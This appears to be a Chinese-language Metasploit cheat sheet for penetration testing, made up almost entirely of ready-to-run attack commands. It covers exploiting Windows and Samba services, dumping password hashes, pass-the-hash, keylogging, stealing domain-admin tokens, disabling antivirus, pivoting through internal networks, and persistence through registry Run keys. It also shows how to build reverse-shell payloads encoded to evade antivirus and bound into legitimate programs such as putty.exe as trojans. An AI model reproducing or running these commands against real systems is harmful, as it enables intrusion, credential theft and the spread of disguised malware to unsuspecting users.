基礎庫文件(Libraris):提供了核心框架和一些基礎功能的支持模塊(Modules):實現滲透測試功能的主體代碼
插件(Plugins):將外部的集成工具集成到框架中
用戶接口(Interface)和功能程序(Utilities):集成模塊與插件的滲透測試功能
模塊:EXploits(滲透攻擊模塊)
Post(後滲透模塊)
Payloads(攻擊載荷模塊)
Nops(空指令模塊)
Encodes(編碼器模塊)
接口:msfconsoele控制臺
msfcli命令行
msfgui圖形化
msfapi遠程調用接口
步驟: 1.service postgresql start #啓動服務
2.msfconsole 啓動窗口
3.info windows/exec //查看載荷信息
4.Shellcode msfpayload windows/exec CMD=dir C //導出成C語言數組的完整Shellcode。
5 msfvenom -p windows/exec CMD=dir R| ndisasm -u //查看shellcode匯編代碼
- 自帶網絡服務的滲透攻擊
- NetBios: UDP137、138、TCP139,MS03-034
- SMB(服務器消息快): TCP445、NBT間接用TCP139接收數據,MS10-012、MS10-054 MSRPC(微軟遠程過程調用): TCP139、445,MS05-039、MS09-026、
- MS08-067 RDP(遠程桌面): TCP3389,MS12-020
- 微軟網絡服務的滲透攻擊
- IIS,MS08-062、MS09-053、MS10-040 MS SQL xp_cmdshell DNS,MS07-02
- 第三方網絡服務的滲透攻擊
- Apache Tomcat MYSQL 用Exploit利器mona.py繞過Windows 7下的DEP+ASLR安全組合。 經典案例漏洞,MS06-040,MS07-029,MS08-067、MS11-058、MS12-020
後滲透攻擊
- 當獲取到一個meterpreter shell后可以執行更多的操作:獲取屏幕截圖:screenshot
- 獲取系統信息:sysinfo
- 獲取鍵盤記錄:
- meterpreter> ps #查看目標機器進程,假設發現explorer.exe的進程號為1668:
- meterpreter> migrate 1668 #插入該進程
- meterpreter> run post/windows/capture/keylog_recorder #運行鍵盤錄模塊,將擊鍵記錄保存到本地txt
- cat /root/.msf3/loot/*.txt #查看結果
- 獲取系統賬號密碼:
- meterpreter> run post/windows/gather/hashdump
- meterpreter> use priv
- 當獲取到密碼的hash之后無法破解出明文密碼且無法直接使用hash 登陸,需要使用pass-the-hash 技術 :
- msf> use windows/smb/psexec
- set PAYLOAD windows/meterpreter/reverse_tcp
- set LHOST 192.168.1.111
- set LPORT 443
- set RHOST 192.168.1.130
- set SMBPass aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29
- exploit
-
獲取到系統權限后我們可以新建一個普通賬號,然后使用此賬號執行我們的后門
- 在目標機器上執行:net uaer hacker pass /add
- 本地生成一個后門程序:
- msfpayload windows/meterpreter/reverse_tcp
- LHOST=192.168.1.111 LPORT=443 X >payload.exe
- 將payload.exe拷貝到目標機器然后使用新建立的賬號執行本地執行端口監聽,等待來自目標機器連接:
- msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp
- LHOST=192.168.1.111 LPORT=443
- use priv
- getsystem
- getuid
- 至此取得SYSTEM 權限
- 令牌模擬:當有域控賬戶登陸至服務器時可使用令牌模擬進行滲透取得域控權限,之后登陸其他機器時不需要登陸密碼。
- meterpreter> ps # 查看目標機器進程,找出域控賬戶運行的進程ID,假如發現PID 為380
- meterpreter> steal_token 380
- 有時ps 命令列出的進程中可能不存在域控賬戶的進程,此時使用incognito 模塊查看可用token:
- meterpreter> use incognito
- meterpreter> list_tokens –u #列出可用token,假如找到域控token
- meterpreter> impersonate_token SNEAKS.IN\ihazdomainadmin
- meterpreter> add_user hacker password –h 192.168.1.50 #在域控主機上添加賬戶
- meterpreter> add_group_user “Domain Admins” hacker –h 192.168.1.50 #將賬戶添加至域管理員組
- 內網滲透:當取得同網段內一台主機的權限后可以進一步滲透網內其他主機:
- meterpreter> run get_local_subnets #查看網段/子網
- Local subnet: 192.168.33.0/255.255.255.0
- meterpreter> background #轉入后台運行
- msf> route add 192.168.33.0 255.255.255.0 1 #本地添加路由信息
- msf> route print #查看添加的信息
- msf> use linux/samba/lsa_transnames_heap #准備向內網目標主機進攻
- set payload linux/x86/shell/reverse_tcp
- set LHOST 10.10.1.129 #此處為attacking 主機的外網IP
- set LPORT 8080
- set RHOST 192.168.33.132 #內網目標主機
- exploit
- 也可以使用自動式添加路由模塊:
- msf> load auto_add_route
- msf> exploit
- metasploit腳本
- 使用run scriptname 方式執行
- ①vnc 腳本,獲取遠程機器vnc 界面控制
- meterpreter> run vnc
- meterpreter> run screen_unlock
- ②進程遷移
- 當攻擊成功后將連接進程從不穩定進程(如使用瀏覽器溢出漏洞exp 進行攻擊時瀏覽器可能會被目標關閉)遷移至穩定進程(explorer.exe),保持可連接。
- 例子:
- meterpreter> run post/windows/manage/migrate
- (在64 位win7 中migrate需要管理員權限執行后門才能成功,而migrate 前后獲取的權限是有差異的。)
- ③關閉殺毒軟件
- meterpreter> run killav (這個腳本要小心使用,可能導致目標機器藍屏死機。)
- ④獲取系統密碼hash
- meterpreter> run hashdump
- (64 位win7 下需要管理員權限執行后門且先getsystem,然后使用run post/windows/gather/hashdump 來dump hash 成功率更高。而且如果要使用shell 添加系統賬戶的話win7 下得先:
- run post/windows/escalate/bypassuac ,不然可能不會成功。)
- ⑤獲取系統流量數據
- meterpreter> run packtrecorder –i 1
- ⑥直搗黃龍
- 可以干很多事情:獲取密碼,下載注冊表,獲取系統信息等
- meterpreter> run scraper
- ⑦持久保持
- 當目標機器重啟之后仍然可以控制
- meterpreter> run persistence –X –i 50 –p 443 –r 192.168.1.111
- -X 開機啟動-i 連接超時時間–p 端口–rIP
- 下次連接時:
- msf> use multi/handler
- set payload windows/meterpreter/reverse_tcp
- set LPOST 443
- set LHOST 192.168.1.111
- exploit
- (會在以下位置和注冊表以隨機文件名寫入文件等信息,如:
- C:\Users\YourtUserName\AppData\Local\Temp\MXIxVNCy.vbs
- C:\Users\YourtUserName\AppData\Local\Temp\radF871B.tmp\svchost.exe
- HKLM\Software\Microsoft\Windows\CurrentVersion\Run\DjMzwzCDaoIcgNP)
- ⑧POST 整合模塊
- 可實現同時多個session 操作
- 例子:獲取hash
- meterpreter> run post/windows/gather/hashdump
- 其他還有很多,使用TAB 鍵補全看下就知道run post/
- 升級command shell
- msfconsole
- msf> search ms08_067
- msf> use windows/smb/ms08_067_netapi
- set PAYLOAD windows/shell/reverse_tcp
- set TARGET 3
- setg LHOST 192.168.1.111
- setg LPORT 8080
- exploit –z #后台運行,如果此處未使用-z參數,后面可以按CTRL-Z 轉到后台
- sessions –u 1 #升級shell,必須前面使用setg 設定
- sessions –i 2
- 使用Railgun 操作windows APIs
- meterpreter> irb
- client.railgun.user32.MessageBoxA(o,”hello”,”world”,”MB_OK”)
- 在目標機器上會彈出一個標題欄為world和內容為hello 的窗口
- 使用msfpayload創建可執行後們:
- msfpayload windows/shell_reverse_tcp 0 #查看選項
- msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 X >
- /var/www/payload1.exe
- 然后本機監聽端口
- msf> use exploit/multi/handler
- show options
- set PAYLOAD windows/shell_reverse_tcp
- set LHOST 192.168.1.111
- set LPORT 31337
- exploit
- msfencode編碼後門過殺軟:
- msfencode –l #列出可用編碼器
- 例子:
- msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 R
- |msfencode –e x86/shikata_ga_nai –t exe > /var/www/payload2.exe
- 使用R 參數作為raw 輸出至管道,再經過msfencode 處理,最后導出。
- 自定義可執行程序模板:
- msfencode 默認使用data/templates/templates.exe(msf v4 在templates 目錄下有針對不同平台的不同模板)作為可執行程序的模板,所以這里最好使用自定義模板,如:
- wget http://download.sysinternals.com/Files/ProcessExplorer.zip
- cd work
- unzip ProcessExplorer.zip
- cd ..
- msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode
- –t exe –x work/procexp.exe –o/var/www/pe_backdoor.exe –e x86/shikata_ga_nai –c 5
- 在目標機器上運行,然后本地使用msfcli監聽端口等待反彈連接:
- msfcli exploit/multi/handler PAYLOAD=windows/shell_reverse_tcp LHOST=192.168.1.111
- LPORT=8080 E
- 猥瑣執行payload(生成木馬文件)
- 綁定payload 至一個可執行文件,讓目標不知不覺間中招,以putty.exe 例:
- msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode –t exe –x putty.exe -o /var/www/putty_backdoor.exe –e x86/shikata_ga_nai –k –c 5
- 假如選擇一個GUI界面的程序作為綁定目標並且不使用-k 選項,則目標執行此程序的時候不會彈出cmd窗口,-k 選項的作用是payload獨立於模板軟件的進程運行。
.....持續更新中
- 參考: msfvenom纖細用法
- 附加的exp查找網站:
- https://www.exploit-db.com
- OSINT (匯總網站)
- https://github.com/We5ter/Scanners-Box(開源工具++)
- https://github.com/MISP/misp-book
- https://exchange.xforce.ibmcloud.com/
- https://www.cvedetails.com
- https://secuniaresearch.flexerasoftware.com
- https://nvd.nist.gov/
- https://securitytracker.com/topics/topics.html
- https://www.kitploit.com/p/sql-injection-tools.html(常見工具)
- https://exploit.kitploit.com/
- nmap漏洞搜索
- 0day